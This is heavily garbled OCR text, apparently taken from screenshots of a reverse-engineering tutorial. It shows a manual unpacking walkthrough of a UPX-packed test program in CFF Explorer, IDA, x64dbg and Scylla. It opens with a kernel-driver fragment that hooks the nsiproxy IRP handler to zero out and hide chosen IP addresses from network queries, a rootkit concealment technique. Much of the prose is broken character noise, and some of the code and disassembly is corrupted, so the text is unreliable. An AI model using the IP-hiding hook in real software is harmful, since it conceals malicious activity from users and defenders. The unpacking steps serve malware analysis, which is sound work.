for (ULONG IpAddrIndex = ©; IpAddrIndex < UserParameters->NumberOfEntries; IpAddrIndex++) {
if (irphooking::address_list: :CheckIfInAddressList(NsiIPEntries[IpAddrIndex].IpAddress,
&IndexOfAddressInList) && IndexOfAddressInList != -1) {

if (NsiIPEntries[IpAddrIndex].IpAddress == 0) {
ZeroHideCount++;

}
else {
DbgPrintEx(®, ©, "KMDFdriver IRP - \\Driver\\nsiproxy device control, hiding ip 6
NsiIPEntries[IpAddrIndex].IpAddress, IpAddrIndex, (ULONG)IndexOfAddressInList
3
RtlZeroMemory(&NsiIPEntries[IpAddrIndex], sizeof(NSI_STRUCTURE_ENTRY));

}
if (ZeroHideCount > @) {
DbgPrintEx(®, ©, "KMDFdriver IRP - \\Driver\\nsiproxy device control, found and hid addre
ZeroHideCount);
3

KeUnstackDetachProcess(&ProcessApcState);
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ST echnoloqgi

hello.exe
Yiello.exer _importsig v o | gd 17
ws' CFF Explorer VIII - [hello.exe] — O x
File Settings 7
_- ) H hello_upx. exe ',L' hello exe ‘ X
- —
Meodule Name Imports OFTs TimeDateStamp | ForwarderChain | Name RVA F
E Fle: hello.exe N/A 00009200 00009204 00000208 0000920C ot
|2) Dos Header 0000982C /
[Z) Nt Headers szAnsi (nFunctions) | Dword Dword Dword Dword Dn
| File Header
(2 Optional Header w’ 13 0000E040 00000000 00000000 0000EG2C 00
(= Data Directories [x] msvert.dil 34 000OEOBD 00000000 00000000 O0DOEGCA 00

[Z) Section Headers [x]
53 Import Directory

|2 Resource Directory

|2 Exception Directory

() Relocation Directory
(D TLS Directory

%, Dependency Walker
®, Hex Editor

A, Identifier

A, Import Adder

A, Quick Disassembler
Y, Rebuilder

ﬁ, Resource Editor

OFTs FTs (IAT) Hint Name

Qword Qword Word szhnsi
000000000000E350 000000000000E350 0119 DeleteCriticalSection
000000000000E368 000000000000E368 013D EnterCriticalSection
000000000D0DE380 000000000000E380 | 0274 GetLastError
000000000000E390 000000000000E390 | 037A InitializeCriticalSection

]

l

oM « % 4 msvartdirt: X 4 . ME*x X 4 Kenel32.dllY X 4 A 0 _ X X 41X vy X7
DX A
w CFF Explorer VIII - [hello.exe] - O pes
File Settings 7
"N H ; helio_upx exe /l' hello.exe x
-
Name Virtual Size Virtual Address | Raw Size Raw Address | Reloc Address | Linenurr ™
= File: hello.
5 Sl hallo.ane 00000188 00000190 00000194 00000198 0000019C 000001AD 0000014
— 5 Dos Header
(2l Nt Headers Byte[8] Dword Dword Dword Dword Dword Dword
3”‘3.”9‘""” text OOGEDE 0001000 [00006COD__ |0000GO0  0OOO0D  0OODOONX
2| Optional Header
[Z Data Directories [x] .data 000000D0 00008000 00000200 00007200 00000000 0000000C
- :
— @ Secton Headers ] rdata 00001020 00009000 00001200 00007400 00000000 0000000C
— |2 import Directory
|2 Resource Directory .pdata 00000468 00008000 00000600 00008600 00000000 0000000C
— (2 Exception Directory . e I i i e S PR M
— 'uji'lRelocaicn Directory < &
[— | TLS Directory This section contains:
| %wwakﬂ Code Entry Point: 000013F0
— ), Hex Editor
— 4, Identifier
— 9, Rebuilder
L 4, Resource Editor Ofcet | 0 1 2 3 4 5 6 7 & 9 A B C D E
|
W
< >

text ,data ,rdata 1 "séctions 1 _ 11 % < X 7. I hEllo.exe. _sectiongt . 1 1 - 1
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Y * xi _dmportsit © 1 | - héllo_upx.exe X X W4 7 4 4 DX W3] X7
ws' CFF Explorer VIII - [hello_upx.exe] — O X
Settings ?
" D B @ hello_upx.exe L hello.exe ‘ x
—,’ .
Module Name Imports OFTs TimeDateStamp | ForwarderChain | Name RVA F
B T File: hell
_n@enu H:;L:lm 00015560 N/A 000154EC 000154F0 000154F4 000154F8 o
[2) Nt Headers szAnsi (nFunctions) | Dword Dword Dword Dword D
= File Head
‘L!] Optional i ader %’4 00000000 00000000 00000000 00043560 00
[Z Data Directories [x] msvert.dil 1 00000000 00000000 00000000 0004356D 00
(5 Section Headers [x]
— Qi ¥ < >
— |2 Resource Directory |
— | Exception Directory OFTs FTs (IAT) Hint Name
— |2) Relocation Directory
—— () TLS Directory
— 'ﬁum Converter Qword Qword Word szhinsi
— ) Dependency Walker
_ %H“ Editor N/A 0000000000043596 | 0000 LoadLibraryA
— zaldamﬁer N/A 0000000000043578 | 0000 ExitProcess
B ;,:Q'. < D bier N/A 0000000000043586 | 0000 GetProcAddress
— < i VirtualProtect
%, Rebuilder N/A 00000000000435A4 | 0000 irtualP
— 'A_,RHN.I'GB Editor
AT XL x4 pr ke, X4 ¥ K 4 x X Pagkedt | X Xk F X .y | x

X GetProcAddress

TIsxou Xk {8 S

« o d PXIP . S T X

Y.oadLibrary

File Settings ?

-

R

s’ CFF Explorer VIII - [hello_upx.exe]

" hello_upx.exe " hedio.exe

- O X

x

MName Virtual Size

B [T File: hello_upx.exe

—— (2] Dos Header

[Z) Nt Headers

=) File Header

|2 Optional Header

[ Data Directories [x]
— [ Section Headers [x]
—— ) Import Directory

— |2 Resource Directory

— |2) Exception Directory

— |2) Relocation Directory
— [ TLS Directory

— ), Address Converter
— %, Dependency Walker
— %, Hex Editor

— ‘ﬁ. Identifier

— 4, Import Adder

Virtual Address

Raw Size

Raw Address | Reloc Address | Linenumbe:

Dword Dword

Byte[3]

Dword

Dword Dword Dword

00001000
0002E000
00043000

UPXo
UPX1 00015000

.rsrc 00001000

00014E00

00000200

00015000 00000000

B bW e p

Offset | o 1 2 3
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O Warning X

b Some imported modules will not be visible
: ! % because the IAT is located outside of memory range of the input file,

[] pon't display this message again

~ N > A >~ ~

Lol X lsxs Xp, 4@ x y X sRagked® | X X WX xiS| X s X" fw .
Pl g Do T e e X I s WJTSL S S x X s f Packingg 4 4 LS
@ 4 X7 IsT. X Xixiaes 4 € 1 8y Dox 4 00" |T8” Packed X s, X X .

®npackingg 1 1 L5 XX L FH T .

Unpacking Internals

Unpackingt Pd&ckingt 1 x4 #Ssvixsgo: 7 % & Is 7 4 4" 4 OWnpackingt { 1 L s -

ot gl X e x $x T {45 . Packedt , X X L8 AT, % x

~ ~

Xxoosooxo oy . S 4L XYy W e o Unpacking stuli  Ubipacking stub

~ ~

X 4 s¢f x imports +31 " X S0 g 4T X A"Ys X o 8T ] X ] X o4 AKX s

£
QX 44 AT

~

L ~ tUnpackingstuti v r 1 L 1 ¥ XX TPacked *x s * ¥ < x ¢ s 4 X7 77"« ]

Ioxo psdxq Uppackingt 4 4 ¢ S/ 1 «wird » X L X8, X TP x X0 d x s
P e o x ool *Unpacking stuli @npacking stuls ¢ v Ho b X IR L N £ X

Y A4S 1.
dx . dE x4 9
dmportsit ¢ L ol 1 TS 4 x4 AT

® 1. x4 s x enrypoints 144
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S S T

B ARy XS L 1T X b 8 4, XYy «vs*Unpacking stuls s 1 1 -

~ A~

x ] oex T e ) {UJApacking stuli o x oy**Packem Packer 457 1 T X xp T4 . x ¥ | v S

DX « X XS §Y X ] x§ics

importste - ¢ *-14 {4 " X

S L X114 KAT .(JAR -~ x .« A hirhport address tablg + ¥- « .« PH® X % s " * | . X

TX L ME S T TSR X X LS S XXX X XK s

~

DX s XX x| o whxT s PHEE . X Xioe Ossp X 15, ., | loatlent

~

Racked * ¥ w 1 ~ X I" 1 "s..

~ ~

SloL X T LS T XX ks 4 Ly Thx X

TR L “Pécked x sT x xlohdenmr _ 1 ¥ M 4 X o X B AR L 1 X4 TELLT 147
©L X X w ¥ Unpacking stutg ¢« X xst o« " 1 { Racked * % ¥ % . . AT

~ v o~ v

® x « sxivxp]dd L TlsUnpackingg

om0 g P s dDe Xy T oSS X .7 {Unpacking stuls 4 - T -
1 x w8 L8l I sy . “s".|x‘>“p_<”},xx>x. X4 T xSl ] s ALXS XS
7t LoadLibrary @ X 4 « X7 Xx{ xX 0 T x X § 4§ G x IIfis, f CSH L "I X K% s

« L% _ GetProcAddregsLoadLibrary: ~+ 1 « *Packerg * -~ s * {1 x(fGetProcAddress
BOd | ST XS ase A iR Ised o e e X4 o

jump to OEP

18 Packed * *x <08 , ¥ « X g« ®ntry pointm ~ 1ss” x pdyinal entry poink - x = QEP_
D Ximportgi® - L XTI, d 9% x X 5 s, ] dnpacking stula < x xs L entry point
S v, X e d 1 aslgxXl se " OERS 111> » *xWnpacking stuli ~ - *x " |
X » 43 % Yrdpis 1 8 d 4~ jump taii® jup tails x ~ WX OBR S 1 4 i «s ~ 1%
S« . X H LD ) xOvet - callx _slv ., X B {ss xx |84l {s I x 4 QER « . "%

~ ~

Bo, 41X x KOS f $8s 4%
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KUnpacking- 1 | «4*4 -~

L X0k 154 , 1Packef X _ « Packed X1S4 » X X 17 ¥ X ©xx" (4 «qp 141 4 1%+
e _toaxsis d%peidd LAY | L ix S 4 1d 4N X T X R ]y s
CL T Wnpackingg 4 4 LS« X 0 x4401)” o 11 ¥ 38 s . ¢ $51« Racker
L0 xS0 S s X 1X"s X, [T X I X Ppee ST MH 43X L %% ux T
S x sy XY s AP X T v 17 L 41 Packert | 1 Lo, 4 XST x|
XX IHT XA A b e 4 AT« oA s 4. %Y dX _Packing: " 1% X 1]y

Manuals 4 7 s Is x § "{st x o XsxC sKC sl ., « 2% T8 "{d _ x71 xxUnpgacking

®Inpacking

Manual Unpacking

Lol PR L 4% XX w01 40X X T e S~ Manual Unpacking s " | 7
T @O0 4% ] Packers _ ¥ ¥1!"1. 1 2 4 ¥ {Packert ~ * x.J _«s|¢s], o ¢ X 7
@4 NP o x L L x o % x x (Manual Unpacking

Unpackingt - + Packedt . * x s X « 93 x _ Mhnual Packing - x 1 .~ x4 {1:¥_ A
oD s @ T A s WA X 7 d dPdckert L f o4 4 XYY 450 XDy Stub X
‘v.|LIsI1X>Z,,\padkedxs“m-|LIA§><XtX,,vx_LZ>Js“sx -|ZIA><‘><ZV-|s"JxZ

A~

404, « Xt Unpackingg 4 4 LS 88 X 4L oS, % 1T ¢ 4y X Ubpack- X s
@ At s T, PRSx| Wnpacking stuts T x XUhpacking stub

L X X XX NS T X A yisT o x ! x=b“ b-|L,,~s><fx,,°J>$|>€23\<\s< "t v SZ -

~ > ) ~ o~ ~

ADAES » 4 ~ Xy, N

LT sl A X g x5 o fX o8 xse 14 ¥ <" L Unpacking stuff ~ ¢ 4 9 F3 -

o

s "sTIXL «xs ymportsig ¢ o+ 7 X X xio«s . Urpacking stuli _« ! X xxgsx x4

CBRs « 4 41 s Yjumptaii® - « x « _ 1

~

IR SR IR NI SN IRV S S DR 00 BN R NUUE B N R FRERE I I Bl

¢

x sy _ _ hRlshare © « ST 1 oAX Sop 44 AT s v Xl TSy o s

o

Tox 04, %oy hash XY 114 "ixd " A4 e, 100 A" o % s{? o wx 4 1. is.

Qara
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@ebuggingf 1 . 1, 14, 1TUxT 4 S L XIRX. Y X ]y 1

v o~ v A o~ v ~ v ~

jump to different section

«x {1 x I Unpackt ~ 1+ (3% %ection. _s ~ + 1fPackers _* x . xs I"xsX |s 117«

S+~ X $ss C $4d jurhp tailt _~ | _Lo] xsBction override- ¥- «~ .~ & 1 40 s x71 ] x I s

A

ER : « . 5" 1sectioms 14«54~

~ ~

s sy x U0 Chellg upx, X X S X L dJ§ T deld v a3mss] 4 X T upx

Qpxt - 1, e, 48K 1 4 X xPacker L x s 4" 1S

A a

1740

sectionm | X < s s . 4 XS XX oo g s, 1 Bt X XS XL d YT

s " » {sd base addresg 0~ x T A4 11, Xjmp: | x <X 44I04s © X x s, T %3 «

v >

TR s 41 XX T Jmps I XX7 v PP ¥ X34 1 | gedtiont L _base address
F % X R IS S L 4 X mprt s 4 0 F x TSSO x L oK T jump tail

X xl§e, LS AT L ST M 4 d s e T skl d 14 Xy

¥ . X o s
oo
start proc near
push rbx
push rsi
push rdi
push rbp
lea rsi, byte 7FF6@A12E025
lea rdi, [rsi-2D825h]
push rdi
xor ebx, ebx
xor ecx, ecx
or rbp, OFFFFFFFFFFFFFFFFh
call sub_7FF6BA142B90
add ebx, ebx
jz short loc_7FF6@A142B46
(il e [5=] I
rep retn
< > loc_7FF6BA142B46:
. mov ebx, [rsi]
Line 1 of 3 sub rsi, @FFFFFFFFFFFFFFFCh
As, Graph overview O & x adc ebx, ebx
mov dl, [rsi]
rep retn
start endp ; sp-analysis failed
=
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c2Zl ozl X s X 1 5« @ XS A
- VN

'@ A DAL - 1« A LSsIE s 4«1 x

°

¥ 1Y FZ sx{" (X4, XS]* S5 5

L]s'-p\s\\x’&“s_3~x

R

AR
J_s{MM " HT o

w s 40X

s X 4 S AL ] X

~ >

X

s\

jmp_ + « _IDAL _

Fd o1 d S X0 X N

e X S| X in® {4 £ % Css{ (" X

FoesS@B o T x o T esx’e 7T S i x g8 s 007X g X s
L breakpointr 1 s® T, ¢ * ™ ] xoffsetgr s « 4 _ + 1~ 7S X% ] 7
¥uiuesx.odJd% ]
L]

PX1:@0087FFIDECC2CC]
PX1:00867FFFDECC2CC] loc 7FF7DECC2CCI:

L i

UPX1:00887FFTDECC2D7T sub rsp,

UPX1:@80287FF/DECC2DTB

BFFFFFFFFFFFFFFBBh

nk_7FF7DECB13F
UPX1:80287FFTDECCZDTE
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© x _ <breakpointt jmprt . _: * x I ¥ 4P _breakpointt x " . S .~ 7 XY X . sq
x s 44

~ ~v o~

@ jump tai® « o - S mEXxitProcess _- X X <% 1s . " x

QX ALl X B XX G HH X 4 Gk DX x

UPX0:00007FF7DEC813F0Q ; ------------------cccccmmeeeo
PX0:00007FF7DEC813F0
PX0:00007FF7DEC813F0 loc_7FF7DEC813F0:
UPX0:00007FF7DEC813F0 sub rsp, 28h
PX0:00007FF7DEC813F4 mov rax, cs:qword_7FF7DEC89780
PX0:00007FF7DEC813FB mov dword ptr [rax], 0
PX0:00007FF7DEC81401 call sub_7FF7DEC81180
PX0:00007FF7DEC81406 nop
PX0:00007FF7DEC81407 nop
PX0:00007FF7DEC81408 add rsp, 28h
PX0:00007FF7DEC8140C retn
PX0:00007FF7/DEC8140D ; ------------------cccmceccceee
PX0:00007FF7DEC8140D nop dword ptr [rax]

PX0:00007FF7DEC81410
IDX0 - AAAAZEEZDECR1A1A 1ac 7EEZDECR1414-

x 7 x"gection® r v vt X v b T FHE L s d s D xS 44 d D e 4T
SO ST X 3R L A0F T 4 4 SUBXO | Sectiont X " T I 4 < B . .7

S S XX, 42X Xl x " A e 4 Y LT I BP X1 | sectiomf o~ v "B XX 4 | s
® 7 jumptairt © «x " 4l 4T A

sayllat x64dbgt » ¢ & S YU D 4B X s FXeSX S | Tse |

~ ~

windows: * { X1 x*. . 4 <IBAX _ |
@yclla- | Pplugin: 4 1 04 BIxx x40« ¥+ 19 s

~ AnA

U Disassemblex Debuggen _¥ x! x. xmx64dbg

x L 9OER - ¢ " 3 3 X | 4XOxsy ¥ 0L xUbplacekingt 1 1 0 s x5 § x4 1+ X 1escylla
B . ] ALCASTX Kb sy JATR D L X x T X wood GER . x4 0 6 N

XA 4 X HOER | 4 v 6ddbgt |, X xSt X D0l Fd S L4 B s AN
efitry pointit L ~ " ‘1x Dlebuggert F9, 1, * x:v+§ I " DA

>

€ oxBAdbgt s « AL L X S 1T AT L 0% R AT (14 X0 i, X S ]
s i@ | oxsesyox I qump taift L X 0 Ik L ] X DIDAE X T 4<% X x ]S

~

& rlebuggert _~ 1 -rabase’ x _ s %64dbgr IDA™ + % "ixx X x s 0] $ixx
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Edit>SegmentsRebase program *  « IDA-* rebase, « <1 17
% hello_upx.exe - PID: 3288 - Module: hello_upx.exe - Thread: Main Thread 23864 - x64dbg
File View Debug Tracing Plugins Favourites Options Help Apr 11 2024 (TitanEngine
_OE %0 Y 9y *2a R @ P x# Al BE
8 cru £ Log + Notes ® Breakpoints ™ Memory Map [} call Stack =@ SEH o Script & Symbols
IRIP RAX RDX R9 ° 53 push rbx
° 56 push rsi
[ ] 57 push rdi
© 55 ﬁvush rbp
[ 48:8D35 FABAFEFF ea rsi,qword ptr ds:[7FF73EFAEQ25]
B 48:8DBE DB2FFDFF lea rdi,qword ptr ds:[rsi-20025]
L] 57 push rdi
o]0 3108 xor ebx,ebx
o]0 31¢c9 XOor ecx,ecx
° 48:83CD FF or lbp,rbiFFr} FFFFFFFF
®j0 E8 50000000 €all hello_upx.7FF73EFC2B90
e|0 01DB add ebx,ebx
--@{0 v 74 02 je hello _upx.7FF73EFC2B46
e|0 F3:C3 ret
rrrrr °® 8B1E mov ebx,dword ptr ds:[rsi]
° 48:83EE FC sub rsi,FFFFFFFFFFFFFFFC
° 1108 adc ebx,ebx
®|0 8Al16 mov dl1,byte ptr ds:[rsi]
° F3:C3 ret
° 48:8D042F lea rax qword ptr ds:[rdi+rbp]
El 83F9 05 cmp ecx,5
s 7 x84 8T sy {IDAT entry pointm s s T Ll X s X« IDAX. dgx”
Yump taire ¢~ T 1IDATr ¥ " 4 4 )
w|| 00007 FFYDECCZB90 FC cld
@ 00007FF7DECC2BOL 41:5B pop ril
-@|00007FF7DECC2EB93 | ~ EB 08 jmp hello_upx. 7FF7DECC2BID
&|| 00007 FF7DECC2BOS 4B:FFCH inc rsi
@ 00007 FF7DECC2B9E 8817 mow byte ptr ds:[rdi],dl
@ 00007 FF7DECCZB9A 48 :FFCY inc r
@ 00007 FF7DECC2ZEID Bale mov d1 byte ptr ds:[rsi]
@ 00007 FF7DECC2BOF 01DE add ebx ebx
-@|00007FF7DECC2BAL | ~ 75 0A jne hE11D_upx.?FF?DECCZBAD
| 00007 FF7DECC2BAS 8BlE mov ebx,dword ptr ds:[rsi]
@ 00007 FF7DECC2BAS 48:83EE FC sub rsi,FFFFFFFFFFFFFFFC
| ;ll OOONTEETDECC2RAD 11 ne ader ehwy ehwy
T3 X7 s Xs 4 0 VX Oss, {(gsq xV S sy L W T X 1 3 <s « 8" X X
X 7 L IDAY S ToAeddsS]_sIL D X x Is sk o xS 4 TS X1 chl?huptall
qump tailrt breakpointk 1 X X xiid] s
#||[00007FF73EFCZDE0D 50 push rax rax:
@[ 00007FF73EFC2D61 ES 1A000000 call hello_upx.7FF73EFC2DB0
@ 00007FF73EFCZD66 58 pop rax rax:
@[ 00007FF73EFC2D6T 5D pop rbp
@[ 00007FF7 3EFC2D68 5F pop rdi
@[ 00007FF7 3EFC2D69 5E pop rsi
@[ 00007FF7 3EFC2D6A 5B op rbx
@[ 00007FF7 3EFC2D6B 48:8D4424 BO ea r'ax,qword ptr ss:frsp-80] rax:
& 00007FF73EFC2D70 6a 00 push 0
@ 00007 FF73EFC2D7 2 48:39C4 cmp r'5[:|: rax rax:
@[ 00007FF73EFC2D75| ~ 75 F9 jne hello_upx.7FF73EFC2D70
®|00007FF73EFC2D77 48:83EC 80 sub r5? FFFFFFFFFFFFFFSO
[ ] - E9 7OEGFBFF jmp hello_upx.7FF73EF813F0
@ 00007 FF73EFC2DB0O c3 ret
@[ 00007FF73EFC2DE1 56 ush rsi
®/00007FF73EFC2DB2 48:BD35 AFC2FCFF ea rsi,qgword ptr ds:[7FF73EF8F038]
@[ 00007FF73EFC2DE9 48:AD lodsqg
@ 00007 FF73EFC2DERB 4B:85C0 Test rax,rax rax:
-----@|00007FF73EFC2DBE | ~ 74 14 je hello_upx.7FF73EFC2DA4
i ®|00007FF73EFC2D90 51 push rcx
! ®00007FF73EFC2D91 52 push rdx rdx:
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x " jump taift - -

1S « .~ debuggert + {1 1 _ bréakpointt !

a

{

YOER L % " Ixs 0 oX

»3 ta

—e
0000/FF

DO7FF7

.U‘U 'FF
00007FF73EF81419

(A X J . (A XX XXX
“A~1~ =
>
-

-~
m
l
J
m
m
0
b
i
)

&

Notes ® Breakpoints

’3EF813F4
WO7FF7
007FF73EF81401

3EF813FB

3EF81406

00007FF73EF81407

F73EF8140C

73EF8140D
73EF81410
73EF81414

8 - Module: hello_upx.exe - Thread: Main Thread 2392 - x64dbg

Plugins Favourites Options Help Apr 11 2024 (TitanEngine

v ®x# Al B

™ MemoryMap () CallStack %@ SEH . Script % symbols

:83EC |sub rsp,28
48:8805 85830000 mov rax, gword ptr d).§7FF73EF89780]
C700 00000000 |mov dwor tr ds:[rax],0
E8 7AFDFFFF call he11o _upx.7FF73EF81180
90 nop
90 nop
48:83c4 28 |add rsp,28
Cc3 ret
OF1FO00 nop dword ptr ds:[rax],eax
48:83eC 28 sub rsp,28
E8 77660000 ' €all <IMP.&_ onexit>
48:83F8 01 lcmp rax.l

~ ~ Ao

R

sdylla , S i X, Jﬂ-|><<.‘xsi“v\s° L kX :sX - L x9

Y X3 x [ x]"sp >s@”

LR
XX 4.8

spy x

A~

B scyiia x64 v0.9.8

File Imports Trace Misc Help

Attach to an active process

Imports

X

20488 - hello_upx.exe - C:\temp\nxn packers\hello_upx.exe ~ | Pick DLL

Show Invalid

Show Suspect

IAT Info Actions Dump

QEP I 00007FF73EF813F0

VA |

Size |

I Get Imports Fix Dump

Log

Clear

I IAT Autosearch Autotrace Dump PE Rebuild

Module parsing: C:\Windows\System32\ntdll.dll
Module parsing: C:\Windows\System32\kernel32.dll
Module parsing: C:\Windows\System32\KernelBase.dll
Module parsing: C:\Windows\System32\msvcrt.dll

Loading modules done.
Imagebase: 00007FF73EF80000 Size: 00044000

v

Imports: 0

+ Invalid: 0 Imagebase: 00007FF73EF80000 hello_upx.exe

OBRm ~

TR 4XOxsass 7§ 9ddmpe p X 4 IATLAutosearch ,Get Impoits,, 1 L 7

PP
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X " v dumpt . X %« X TEXDUMp . X TeXeSX S LS

~

s " astyllar | X xS X ST LT WX BT T XXX X o 8s] T ox DN L s

Youdd o s asse DAY
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